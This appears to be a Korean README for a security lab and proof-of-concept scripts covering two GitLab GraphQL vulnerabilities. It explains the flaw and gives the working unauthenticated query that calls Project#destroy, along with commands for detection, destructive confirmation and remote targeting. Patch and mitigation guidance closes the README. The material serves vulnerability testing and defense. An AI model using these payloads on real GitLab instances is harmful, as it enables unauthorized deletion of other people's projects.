
재현 가능한 A/B 랩 + GitLab CVE-2026-19478 / CVE-2026-19650 (GraphQL @gl_introduced)용 안전한 PoC
@gl_introduced 인증 없는 임의 메서드 호출 (검증 랩 + PoC)CVE-2026-19478(GitLab CE/EE, CVSS 9.4, Critical)에 대한 재현 가능한 A/B 랩 및 안전한 PoC. 인증되지 않은 공격자는 GraphQL로 해석된 도메인 객체에서 임의의 0-인자 Ruby 메서드를 호출할 수 있습니다 — 예:
Project#destroy를 호출하여 자격 증명 없이 공개 프로젝트를 삭제.동일 릴리스에서 수정된 관련 CVE-2026-19650(GraphQL 멀티플렉스 쿼리 스왑) PoC도 포함합니다.
승인된 보안 테스트/교육 전용입니다. 모든 것은 사용자 자신의 로컬 컨테이너에서 실행됩니다.
GitLab은 GraphQL 클라이언트 지시문 **@gl_introduced(version: "X.Y.Z")**를 제공합니다(롤링 배포를 위한 전방 호환성). 쿼리가 실행 중인 서버보다 새로운 버전의 필드를 지정하면 트레이서(Gitlab::Graphql::VersionFilter::IntroducedTracer)가 정적 검증 전에 해당 필드를 제거하여 쿼리가 검증을 통과하게 한 다음, 실행 시 원본 문서를 다시 실행하고 알 수 없는 필드를 폴백으로 해석하게 합니다.
버그는 폴백에 있습니다 (lib/gitlab/graphql/version_filter/future_field_fallback.rb, 패치 전):
def fallback_field(name:)
GraphQL::Schema::Field.new(owner: self, name: name,
type: GraphQL::Types::Boolean, fallback_value: nil) # <-- no resolver
end
리졸버가 없는 GraphQL::Schema::Field는 graphql-ruby가 **object.public_send(field_name)**을 호출하여 해석합니다 (graphql-ruby lib/graphql/schema/field.rb — respond_to?(@method_sym) → public_send 분기가 fallback_value가 조회되기 전에 실행되므로 fallback_value: nil은 죽은 코드였습니다). 따라서 @gl_introduced 아래에서 클라이언트가 현재 해석 중인 객체의 0-인자 메서드와 동일한 필드 이름을 선택하면 서버가 그 메서드를 호출합니다.
공개 프로젝트를 해석하고 destroy라는 "미래 필드"를 요청하면 → 서버가 Project#destroy를 실행합니다.
AV:N/AC:L/PR:N/UI:N/C:L/I:H/A:H).Resolvers::NilResolver를 사용하여 nil을 반환하고 메서드를 호출하지 않습니다.@gl_introduced(version:)은 서버 버전보다 커야 합니다 (99.0.0 사용).to_param, destroy).id). 그렇지 않으면 필터링된 문서가 빈 선택 세트가 되어 GitLab이 "Field must have selections" 검증 오류를 반환합니다.요구 사항: Docker + docker compose, 여유 RAM 약 8GB, Python 3.
docker compose up -d # boots vulnerable :8222 and patched :8224 (GitLab takes ~3-5 min to become healthy)
./setup.sh # waits for readiness, seeds a public project + an admin token on each instance
setup.sh는 각 인스턴스에 대해 기본 URL, 시드된 공개 프로젝트 경로(root/pub), 관리자 PAT를 출력합니다.
무해한 메서드(to_param)로 메서드 호출 프리미티브를 사용합니다. 데이터는 변경되지 않습니다.
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8222 # vulnerable -> VULNERABLE
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8224 # patched -> NOT VULNERABLE
예상 출력:
[*] mechanism check .......... @gl_introduced active (unknown field returns null, no error)
[*] method-call probe ........ { project(fullPath:"root/pub"){ id to_param @gl_introduced(version:"99.0.0") } }
[+] response ................. {"project":{"id":"gid://gitlab/Project/1","to_param":true}}
[!] VULNERABLE — server invoked Project#to_param via public_send (returned non-null); CVE-2026-19478 present.
반면 패치된 인스턴스에서는:
[+] response ................. {"project":{"id":"gid://gitlab/Project/1","to_param":null}}
[+] NOT VULNERABLE — fallback returned null (NilResolver); patched.
REST API를 통해 자체 임시 공개 프로젝트를 생성한 다음(setup.sh의 관리자 토큰 필요), 인증 없는 GraphQL 공격을 통해 삭제하고 프로젝트가 사라졌는지 확인합니다.
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8222 \
--prove-destroy --token <ADMIN_PAT_FROM_setup.sh> --namespace root
예상 출력 (취약한 버전):
[*] created throwaway public project poc-doomed-<rand> (id=42) via REST
[*] UNAUTH attack ............ { project(fullPath:"root/poc-doomed-<rand>"){ id destroy @gl_introduced(version:"99.0.0") } }
[+] response ................. {"project":{"id":"gid://gitlab/Project/42","destroy":true}}
[+] post-check (REST) ........ GET /api/v4/projects/42 -> 404 Not Found
[!] CONFIRMED — unauthenticated request DELETED the project. CVE-2026-19478 impact proven.
패치된 인스턴스에서 동일한 실행은 프로젝트가 여전히 200 OK를 반환하고 destroy가 null임을 보고합니다.
python3 poc_cve_2026_19650.py --url http://127.0.0.1:8222 # VULNERABLE (slot 0 returns slot 1's data)
python3 poc_cve_2026_19650.py --url http://127.0.0.1:8224 # NOT VULNERABLE (slots isolated)
테스트 권한이 있는 GitLab의 --url과 그 위의 공개 프로젝트를 --project로 지정하세요:
python3 poc_cve_2026_19478.py --url https://gitlab.example.com --project some-group/some-public-project
탐지는 무해합니다. 소유하지 않은 대상에는 --prove-destroy를 사용하지 마십시오.
19.2.4 / 19.1.6 / 19.0.8 / 18.11.11 이상으로 업그레이드하세요. 수정 사항은 폴백을 Resolvers::NilResolver를 통해 라우팅합니다(nil을 반환하며 객체 메서드를 호출하지 않음). 즉시 업그레이드할 수 없으면 프록시에서 @gl_introduced 지시문/버전 필터 경로를 차단하거나 인증 없는 GraphQL 액세스를 제한하세요.
| 파일 | 용도 |
|---|---|
docker-compose.yml | 취약한 19.2.2-ce(:8222) + 패치된 19.2.4-ce(:8224) 부팅 |
setup.sh | 준비 완료까지 대기, 인스턴스별 root/pub 공개 프로젝트 + 관리자 토큰 시드 |
poc_cve_2026_19478.py | 탐지(안전) + 선택적 --prove-destroy 영향 증명 |
poc_cve_2026_19650.py | 멀티플렉스 쿼리 스왑 탐지(안전) |
--prove-destroy는 자체 임시 프로젝트를 생성하고 삭제합니다. root/pub이나 사용자의 데이터는 건드리지 않습니다.e283c6adeb3d(폴백) 및 d2ea4b971a98(멀티플렉스 스왑)에서 메커니즘을 도출했습니다.